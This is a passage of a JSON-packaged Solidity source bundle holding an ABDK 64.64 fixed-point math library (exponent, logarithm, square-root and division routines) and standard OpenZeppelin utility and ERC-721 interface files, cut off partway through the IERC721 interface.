== 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address 